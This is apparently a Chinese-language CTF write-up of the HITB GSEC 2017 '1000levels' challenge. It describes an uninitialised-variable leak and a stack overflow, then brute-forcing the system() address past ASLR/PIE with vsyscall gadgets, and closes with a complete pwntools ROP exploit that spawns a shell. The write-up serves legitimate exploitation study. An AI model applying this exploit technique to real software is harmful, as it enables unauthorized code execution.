HITB GSEC CTF 20171000levels

Posted 2020-10-06 p4nda

 

 

https://files.cnblogs.com/files/p4nda/498a3f10-8976-4733-8bdb-30d6f9d9fdad.gz

#通过阅读天枢战队大佬们的wp调试的结果

首先查看一下该elf文件的保护情况：

是64位程序，有PIE、NX保护，没有canary保护，怀疑是栈溢出类型。

开始寻找溢出点，通过阅读ida得到的代码，大致分析一下文件含义： 

main:

main函数比较简单，逻辑很明显，有两个貌似有用的函数，hint()、go()。不断在这两个函数中循环。

先看hint：

hint：

如果show_hint为1.则提示system函数的地址。show_hint位于bss段。难道是福利？

想多了= =。因为具有PIE保护，所以BSS段的地址也是随机的，而且还没找到可以任意的漏洞，暂时丢在这里。

 

但从C代码看不出什么，可以看一下汇编代码，

可以看到，虽然show_hint标识为0，但栈内仍然有这个system的地址（这很重要）

接下来看go函数:

go函数中有点问题，可以看到v5是没有赋初值的。当v2<=0时，v5就是脏数据了。 //这是第二点

 

进入hint函数：

hint函数中可以看得到一个明显的栈溢出， buf变量是8字节，而输入是400u，可以溢出覆盖很长一段空间，猜测这也就是可以利用的溢出漏洞。

综上，程序分析结束，找到溢出漏洞一处，思路就可以是利用shellcode或者rop技术来执行命令。

因为有NX保护存在所以只能用ROP来利用漏洞，对rop的长度没有限制，但是，由于ASLR和PIE的存在导致无法直接获得system函数的地址，幸亏有hint这样一个函数。

从上文可以看到，在hint函数中，system的地址防止在rbp-110这样的位置：

而我们找到的脏数据使用v5恰巧也是是定义在这个位置

因此，当第一次输入为0时，v5就是system的地址。通过这个地址，可以爆破得到system的地址。

想法是这样的：

猜测system第地址为i时，如果输入-i，当i>system的地址时，得到的v6<0会输出coward字样，按位猜解从高位到低位就可以顺次找到各位的system值。

要爆破几位呢？

通过其他技术博客：http://www.cnblogs.com/wangaohui/p/7122653.html

知道，aslr的作用原理是这样的：

函数加载与mmap相同

mmap随机的位数由mmap_rnd_bits表示，在64位下是28比特，经过计算在64位平台下mmap的基地址是：page_align(0x7ffbf8000000-rand)，而其中的rand在是28比特的数字左移12位。当mmap的基地址确定后，在各个系统中，程序运行起来时各个模块（不包括pie程序的主模块、但包括各个动态链接库）与mmap的基地址的偏移是固定的，因此这些模块加载地址的随机化也在28比特。

因此rand是 xxxxxxx000这样的，而使用了减法，因此影响了system地址中间8*4的地址值，故简单的可爆破8*4bit 

而当爆破某位时，当小于system地址时，需要进行1000次的运算，在运算中由于存在栈溢出漏洞，可以覆盖预期结果的地址，因此很简单。

当运算999次后，会停止运算并退出，如果退出，再次进入时就失效了，因此必须通过溢出覆盖返回地址，强行使程序恢复到程序开头。

栈地址中恰巧存在start函数地址，因此可以使用它来返回函数的初始状态。

但由于程序开启了PIE保护，无法从elf文件中直接跳转至main函数或寻找gadget，因此想到使用vsyscall来充当gadget（这部分在系统中地址始终不变。）

通过如上步骤就可以爆破出system地址，再由libc可以找到libc中“/bin/sh”的地址。

最后使用ROPgadget找到一个在libc中“pop rdi  ， ret”作为传参gadget就可以利用栈溢出漏洞，来使用rop进行命令执行了：

附上exp:

from pwn import *

p = process(\'./1000levels\')


debug = 0
if debug:
    context.log_level = \'debug\'
def hint():
    p.sendlineafter(\'Choice:\',\'2\')

def go(first,more):
    p.sendlineafter(\'Choice:\',\'1\')
    p.sendlineafter(\'levels?\',str(first))
    p.sendlineafter(\'more?\\n\',str(more))

def calc(num):
    p.recvuntil(\'Answer:\')
    p.send(num)

def leak():
    
    start = 0x700000000390
    for i in range(10,2,-1):
        for j in range(15,-1,-1):
            hint()
            addr_test = (1 << (i*4) )* j + start
            go(0,-addr_test)
            a = p.recvline()
            #print hex(addr_test)
            if \'Coward\' not in a:
                start = addr_test

                log.info(\'check \'+ hex(addr_test))
                break
        pro = log.progress(\'go\')
        for i in range(999):
            pro.status(\'level %d\'%(i+1))
            calc(p64(0)*5)
        calc(p64(0xffffffffff600400)*35)
        pro.success(\'ok\')
    return start + 0x1000

if debug:
    gdb.attach(p)

#go(1,0)


#
system_addr = leak()
print \'[+] get system addr:\', hex(system_addr)
libc = ELF(\'./libc.so\')
system_addr_libc = libc.symbols[\'system\']
bin_sh_addr_libc = next(libc.search(\'/bin/sh\'))

bin_sh_addr = bin_sh_addr_libc + system_addr - system_addr_libc

gadget = system_addr - system_addr_libc + 0x21102

payload = p64(gadget) + p64(bin_sh_addr) + p64(system_addr)

go(1,0)
exp = \'a\'*0x38 + payload
calc(exp)

p.interactive()

最后，膜拜大佬们的思路。